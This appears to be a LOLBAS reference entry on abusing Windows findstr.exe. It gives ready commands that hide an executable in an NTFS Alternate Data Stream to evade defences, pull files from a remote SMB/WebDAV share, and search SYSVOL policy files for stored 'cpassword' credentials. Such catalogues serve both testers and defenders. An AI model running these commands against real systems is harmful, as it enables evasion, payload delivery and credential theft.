🪟 LOLBAS / Findstr.exe

Findstr.exe

Write to ADS, discover, or download files with Findstr.exe

Paths

  • C:\Windows\System32\findstr.exe
  • C:\Windows\SysWOW64\findstr.exe

Commands

ADS

Searches for the string W3AllLov3LolBas, since it does not exist (/V) the specified .exe file is written to an Alternate Data Stream (ADS) of the specified target file.

Use case: Add a file to an alternate data stream to hide from defensive counter measures

Privileges: User

findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exe

ADS

Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.

Use case: Add a file to an alternate data stream from a webdav server to hide from defensive counter measures

Privileges: User

findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE}:file.exe

Credentials

Search for stored password in Group Policy files stored on SYSVOL.

Use case: Find credentials stored in cpassword attrbute

Privileges: User

findstr /S /I cpassword \\sysvol\policies\*.xml

Download

Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file.

Use case: Download/Copy file from webdav server

Privileges: User

findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE:.exe}

Detection

Resources